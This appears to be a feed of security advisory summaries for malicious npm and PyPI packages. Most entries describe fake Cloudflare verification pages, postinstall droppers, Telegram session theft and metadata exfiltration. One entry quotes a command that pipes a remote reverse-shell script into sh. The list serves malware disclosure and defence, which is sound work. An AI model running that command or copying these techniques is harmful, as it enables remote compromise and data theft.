Malicious code in vczxijghsvizu4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7bae2fa8ce447bf7b8dbe7b16f14e37b56f713aff508b26f937188a1570d8309 Package [email protected] contains 2 files with no a static rule matches and no traced behavior indicating exfiltration, install-time code...

Malicious code in unitel3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 191a863f69cdac20d9594e012bfb03929448786892a1c13d185ac4f64d2b5a8f Package [email protected] contains 2 files. No install-time lifecycle hooks, credential access, network exfiltration, dropper, or backdoor behavior was...

Malicious code in unitel4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5370545a3cd79dd914fd2af5c469caf0f8942c74c14f760f34c3f6856e6648d Package contains only package.json and index.html, with main pointing at index.html. The HTML impersonates a Cloudflare 'Just a moment...'...

Malicious code in cvvkshuelwiu (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de3f325329894b841474989d30370570a7f1b68d02334db1b98dcaf109899fa9 Package [email protected] contains 2 files with no a static rule matches and no traced behaviors of concern. No install-time scripts, network...

Malicious code in khanbmnxls (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2170fddb23040b2e55eeeb17188244072efdef033879036b45865f5b84ef7346 The package contains a single index.html that impersonates a Cloudflare Turnstile 'Just a moment...' challenge page. The inline JavaScript is heavily...

Malicious code in bgncvhferucfds (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c1bf8639ccc5d2a70ae2e0ce754b76e1ca525699413f5d696289714005e86c57 The package's sole content is a single obfuscated HTML file declared as main. When loaded in a browser, the page renders a fake Cloudflare Turnstile...

Malicious code in vkldhcmieru6 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 25890a37fa8da48d2dc2868e010cef8cb3427faa42218cec4b858ac82db679d7 The package contains only index.html declared as main in package.json and a minimal package.json with no lifecycle scripts. The HTML impersonates a...

Malicious code in xhjckswqivb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9a9d37b433e22c980e67c0a2991612592959f6998df3928a6a09792ecf4860bb Package contains only index.html and package.json. The HTML mimics a Cloudflare Turnstile challenge and, when loaded in a browser, assembles an...

Malicious code in clxofwfjskaz7 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8b4dde997a29794d4dfbb4725da833fa7cb4a221dc91d6b820901745eb77f198 The tarball contains only package.json and index.html. package.json declares main: index.html and no lifecycle scripts...

Malicious code in fghvbmniwu (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8623e3b9a84e8cbe5910bc3d683f19629c49b9d3f0a2e00ab771901efef8146a Package contains a single index.html declared as main, which is a Cloudflare-branded 'Just a moment...' clone embedding a Turnstile widget and heavil...

Malicious code in xcnvjfsiewlk9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 062503dc8980c1ade02ac4fc0566a94d40b85c0a634da8b00a941f9acfcf9747 The package's sole content is an index.html disguised as a Cloudflare Turnstile 'Just a moment...' verification page. The HTML contains...

Malicious code in cvbniydplwe3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9edbef37139b40a366aacea90abbd4b80ca581921f213b98ffb17db3b857bfcd The tarball contains only index.html declared as package.json main and no JavaScript, no lifecycle scripts, and no Node-executable entry point...

Malicious code in cvmbxcjiasdg (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 925628ce795fdbf222c292ae4ccfbe710eda2fa1b6fd521db3379f9569e16f9b The package contains a single index.html file declared as main and no JavaScript entry point, lifecycle scripts preinstall/install/postinstall/prepar...

Malicious code in yangming8 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c011964f9503dad45858ba2fdd5de1303275d7a0a680e2c482c3e14d90c4e33c The tarball's only shipped file is index.html, declared as the package's main. There are no lifecycle scripts, no JavaScript entry point, no...

Malicious code in csbcldfvivwfgd4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f6d7db017a0499c0fca67cc331c44fa736fe52568177990823cb17bd03ceee21 The package contains a single index.html declared as main. The HTML mimics a Cloudflare 'Just a moment...' challenge and contains obfuscator.io-style...

Malicious code in mnchfnvbue1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ff948b6e989a38a47cbb12d4e633d48a2069c04bb64066d66140f3b27835ef86 The tarball contains a single file, index.html, declared as the package main. The HTML contains heavily obfuscated JavaScript that mimics a Cloudflar...

Malicious code in cjdfswifuem3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 565ffd2f5127412df02a03f80345ff2420dc5545b65abff5298eac3bf1bf2990 The package has no JavaScript module; package.json declares main as index.html, which cannot be require'd, so installing or importing this package...

Malicious code in ms_aidc_com_tw (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b12bdd45f103beeee602be82a07277a3f0cb842ec3a9829e904911fe37bd2fd5 The package msaidccomtw ships only an index.html that renders a fake Cloudflare Turnstile 'security verification' page. On Turnstile completion,...

Malicious code in fhj8cv9dkwm4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f91ea4120fcb82c9a36d533346c28a2ce7ed225ed31a89526d9cee45f0be2581 Package ships a single index.html that mimics a Cloudflare Turnstile 'Just a moment...' verification page. An obfuscated obfuscator.io-style script...

Malicious code in bcnfjndwbkf2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5a1fc1ec45930a69372eadc47b662c5d82b247b5b4227feacda3d1c4302b4bf3 The package contains only index.html and declares main: 'index.html' with no scripts, no bin, and no JavaScript library surface. The HTML mimics a...

Malicious code in chmjdsidwlf5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e5c33467a3378e72f39a5093bded42a1aba6c08cca38cd631ea1ecc233e0377a Package [email protected] contains 2 files with no a static rule matches and no traced behavior indicating exfiltration, install-time remote code...

Malicious code in dhjksficgwu2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5dc64d0022ee36cd898963db50e3c835990bf94837821fb34408820855c69c0 Package contains a single index.html file declared as main. The HTML impersonates a Cloudflare Turnstile 'Just a moment...' verification page sitekey...

Malicious code in thundertiger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b1c287b2a6653cf3abb51d22059dbe433959b3a2445a75f32e27ed029b1e42d7 The package's only shipped content is a single HTML file that mimics a Cloudflare 'Just a moment...' security challenge. The inline script is...

Malicious code in bvdfhdfvnk3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6fadba2f2b2bb1c3507b2559209c50677db3b20feb0c083333567dfe7fcbddc4 The tarball contains a single index.html declared as the package main, with no JavaScript entrypoint and no preinstall/install/postinstall/prepare...

Malicious code in cxcbdjxcmncvfg2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0caba01ec3b437a50e1808290e06ae0d084836e6660a0fe90ad56e8cd80b0338 The package contains a single index.html that visually impersonates a Cloudflare 'Just a moment...' challenge page including a spoofed Ray ID and...

Malicious code in jhkxcixudnvm1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aecafeb32fc0bc6beb0fcd9f6cab36efa71c8e69dc966271eea55bd03ba8eadf The package contains only package.json and index.html, with index.html declared as main. The HTML imitates a Cloudflare 'Just a moment...' verificati...

Malicious code in fdhcvriwecv3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c72894ed6ed82e4ebcbd83619b2a3f591c7dab355050fc1d43a62f90d384ee08 The tarball contains only package.json and index.html. package.json declares main as index.html, and there are no...

Malicious code in gdwkh6vcbu (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 149331c58c86a1da87dcdde4ec9e7f780a879ca2283946418cfff31077797bd4 Package [email protected] ships a single index.html declared as main, with no JavaScript entry point, no install lifecycle hooks, and placeholder-only...

Malicious code in nhdxzthponv5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6436b46b4e05feabab19a551bd470495e4d8fc9dfef7e42a01bd527054b1b07d Package [email protected] has a random name, no description/author/repo/dependencies/lifecycle scripts, and its 'main' points at index.html with...

Malicious code in hfkcdyuwbdx1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5c3d2f214c9d9ba8dcc912ba18272665044c75eb18d8335c18b959687d45cbdb Package [email protected] was scanned but produced no concrete findings from either rule-based checks or contextual code tracing. The package name i...

Malicious code in yangming708 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f670e6c07175c9534c5554cc89c44a73a22d46a18a9a19140030b5b446fba17f The tarball contains only package.json and index.html. package.json declares main: "index.html", which is not a requirable Node module, and no...

Malicious code in hngfykuvgh4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eb74c94bd8f989f94db4ca0856a3b312b7bb3a71278fde98da36e42eda76bd4c Package contains a single index.html declared as main that impersonates a Cloudflare 'Just a moment…' verification page, embedding a real Turnstile...

Malicious code in china_airlines (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9a78be97ab9e11940bb49de80859b21f1de27b8f078bad4067b227fbc99d2413 The package chinaairlines contains no JavaScript library code. Its package.json declares "main": "index.html", and the shipped index.html is a fake...

Malicious code in jkbnwsdf8 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8e67b8d2fe8ba4fcec395d1fa7497515b41f2e4edc7f25e12c2b4b4abcebe358 The package contains a single file, index.html, declared as the package main. The HTML is styled as a Cloudflare Turnstile 'Just a moment...' challen...

Malicious code in bmgki3g6fh3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9212dc22bc5983b7b163b7851e76596bda812485709581a8dd61475630db4450 The package contains a single file, index.html, declared as main. The page renders a spoofed Cloudflare 'Just a moment...' / Turnstile 'security...

Malicious code in hgdvfuflnb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dfc8e3c1c86c0f0589e1ab4d2a6e3f3a757b758c1f126e0d197f3924d9637922 Package [email protected] contains a single file, index.html, declared as the package main. The HTML impersonates a Cloudflare 'Just a moment...'...

Malicious code in biklimaster (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16fe526cf29535e21a0d1c3206405e20d0447ca01f25ea46dc9569ab52066555 The npm postinstall hook node bin/biklimaster.js install --postinstall prompts for UAC elevation and then reconfigures the installer's Windows host...

Malicious code in biklirouter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa35b0b8fe046a8dd43a4307742214223c3f908b5ba65fa6d24dae18b33cff9b Package ships a compiled Next.js application server routes under app/.next-cli-build/server/app/api/ implementing an LLM/AI-provider router: OAuth...

Malicious code in @bikli/bikli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47a9677012577b19f49cd85cc6455abea3b1363e77a54030901ecf916b04c50b No static or traced indicators of supply-chain attack behavior were observed in this package version. No lifecycle scripts fetching or executing remo...

Malicious code in bikliwrapper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7404df615e8b246acda595b16f7282cea11addcf7a3d3148c1463a65b4d25852 bikliwrapper's npm postinstall script re-executes itself with UAC elevation Start-Process -Verb RunAs -WindowStyle Hidden and, after the single UAC...

Malicious code in @bikli/cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 494fd55b20aca27d1d7353454574b7575074d84eee1367b6854c159f274c4dcc No a static rule matches and no traced behavioral findings were produced for this package version. The scanned files contain no evidence of...

Malicious code in cc-skills-helper (npm)

The npm package cc-skills-helper is a Windows-only supply-chain dropper published as seven versions 1.0.0 through 1.0.6 in a single 8-hour burst on 2026-04-25 by npm user betatester44676 [email protected], then abandoned. dist-tags.latest points at 1.0.6. All seven versions share the same...

Malicious code in internallib_v164 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...

Malicious code in joule-sbx-poc (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 c460336aaf7e02cc7b37e4a0e58df5e22431f9de9ea852af21bb1aa2f333039c During installation, the code exfiltrates basic information and exfiltrates more information to a localhost service as well as starts a reverse shell there. It...

Malicious code in telebot-pro (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b0e8fd9df00738115f53aef8944ede8d1f3d2daf360c2d227b54204ee62e8f89 On instantiation of TeleBot, the package spawns a background thread that copies the Telegram Desktop tdata directory from %APPDATA%\Telegram...

Malicious code in chapters-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e24d8bd29ee6c23e0f394b68bbc5b580614da4479a2462c10d61387da464b992 The package registers preinstall/postinstall lifecycle scripts that execute poc.js on npm install. poc.js collects os.hostname, os.userInfo.username,...

Malicious code in bjm-low-code-components (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f47bf808132c7ac7ba3324f1e4dec6932c64eabb78e1030ce613267ea9a3cf5b On npm install, the package's postinstall hook runs canary.js, which collects the installer's hostname, username, current working directory, and...

Malicious code in @dgn-src-click-to-pay-org/srcdcfreleasecert (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2284b9966871244eb99dd61230f6b17e6b2fb315484fb2b3048c51a780820a1f The package's postinstall script POSTs installer metadata package name/version, platform, arch, Node version, timestamp over plain HTTP to a hardcode...

Malicious code in dcfarguscert (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6b0841cccc5aa4961351a4cf991d7744a1d7acc4da3824321fed50e1e7b8657d [email protected] registers both preinstall and postinstall lifecycle scripts that invoke src/telemetry.js. On install, telemetry.js collects host...

Malicious code in base65-77x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef76e83f2641fcfacf488a6ef61447fac81f6a24cff6287b407a385374b9ddf7 The package impersonates base-x name, description, keywords, and homepage copied from base-x and patches the advertised decode function in both the...